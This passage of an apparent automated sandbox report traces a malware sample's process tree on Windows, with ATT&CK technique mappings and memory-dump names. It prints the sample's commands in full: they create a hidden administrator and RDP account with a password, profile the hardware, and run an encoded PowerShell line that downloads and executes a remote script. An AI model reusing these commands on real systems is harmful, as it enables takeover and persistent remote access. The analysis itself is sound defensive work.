  PID:3216
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" LUCNJVHX$ /ADD
    3⤵
    PID:900

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:856
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:624
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:4268

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 3OeRdIDd
1⤵
- Suspicious use of WriteProcessMemory
PID:1104
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 3OeRdIDd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 3OeRdIDd
    3⤵
    PID:1924

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:972
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:4176

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:4112
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:620

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1808
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:1476

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1252-183-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

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memory/1252-232-0x000002CDA21B8000-0x000002CDA21BA000-memory.dmp

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memory/1252-208-0x000002CDA21B6000-0x000002CDA21B8000-memory.dmp

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memory/1252-190-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

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memory/1252-189-0x000002CDA21B3000-0x000002CDA21B5000-memory.dmp

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memory/1252-188-0x000002CDA21B0000-0x000002CDA21B2000-memory.dmp

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memory/1252-186-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

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memory/1252-185-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

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memory/1252-184-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

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memory/1252-181-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

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memory/1252-180-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

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memory/1252-179-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

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memory/1252-178-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

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memory/1252-177-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

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memory/1272-235-0x0000025E9DE13000-0x0000025E9DE15000-memory.dmp

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memory/1272-278-0x0000025E9DE16000-0x0000025E9DE18000-memory.dmp

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memory/1272-279-0x0000025E9DE18000-0x0000025E9DE1A000-memory.dmp

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memory/1272-234-0x0000025E9DE10000-0x0000025E9DE12000-memory.dmp

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memory/1476-409-0x000002482A586000-0x000002482A588000-memory.dmp

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memory/1476-448-0x000002482A588000-0x000002482A589000-memory.dmp

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memory/1476-399-0x000002482A583000-0x000002482A585000-memory.dmp

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memory/1476-398-0x000002482A580000-0x000002482A582000-memory.dmp

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memory/4208-119-0x00000229BEB30000-0x00000229BEDFE000-memory.dmp

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memory/4208-122-0x00000229A6015000-0x00000229A6016000-memory.dmp

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memory/4208-118-0x00000229A6010000-0x00000229A6012000-memory.dmp

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memory/4208-121-0x00000229A6013000-0x00000229A6015000-memory.dmp

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memory/4208-123-0x00000229A6016000-0x00000229A6017000-memory.dmp

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memory/4492-169-0x0000022870130000-0x0000022870132000-memory.dmp

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memory/4492-161-0x0000022870130000-0x0000022870132000-memory.dmp

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memory/4492-142-0x00000228720D3000-0x00000228720D5000-memory.dmp

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memory/4492-143-0x00000228720D6000-0x00000228720D8000-memory.dmp

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memory/4492-151-0x0000022871FF0000-0x0000022871FF1000-memory.dmp

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memory/4492-141-0x00000228720D0000-0x00000228720D2000-memory.dmp

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memory/4492-137-0x0000022870130000-0x0000022870132000-memory.dmp

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memory/4492-170-0x0000022870130000-0x0000022870132000-memory.dmp

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memory/4492-127-0x0000022870130000-0x0000022870132000-memory.dmp

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memory/4492-125-0x0000022870130000-0x0000022870132000-memory.dmp

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memory/4492-168-0x0000022874C70000-0x0000022874C71000-memory.dmp

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memory/4492-126-0x0000022870130000-0x0000022870132000-memory.dmp

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memory/4492-167-0x00000228748E0000-0x00000228748E1000-memory.dmp

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memory/4492-163-0x0000022870130000-0x0000022870132000-memory.dmp

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memory/4492-162-0x00000228720D8000-0x00000228720D9000-memory.dmp

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memory/4492-128-0x0000022870130000-0x0000022870132000-memory.dmp

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memory/4492-160-0x00000228720B0000-0x00000228720B1000-memory.dmp

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memory/4492-129-0x0000022870130000-0x0000022870132000-memory.dmp

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memory/4492-130-0x0000022871FB0000-0x0000022871FB1000-memory.dmp

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memory/4492-131-0x0000022870130000-0x0000022870132000-memory.dmp

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memory/4492-132-0x0000022870130000-0x0000022870132000-memory.dmp

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memory/4492-133-0x0000022870130000-0x0000022870132000-memory.dmp

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memory/4492-134-0x0000022870130000-0x0000022870132000-memory.dmp

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memory/4492-135-0x0000022874330000-0x0000022874331000-memory.dmp

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memory/5104-280-0x0000018558230000-0x0000018558232000-memory.dmp

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memory/5104-281-0x0000018558233000-0x0000018558235000-memory.dmp

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memory/5104-312-0x0000018558236000-0x0000018558238000-memory.dmp

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memory/5104-313-0x0000018558238000-0x000001855823A000-memory.dmp

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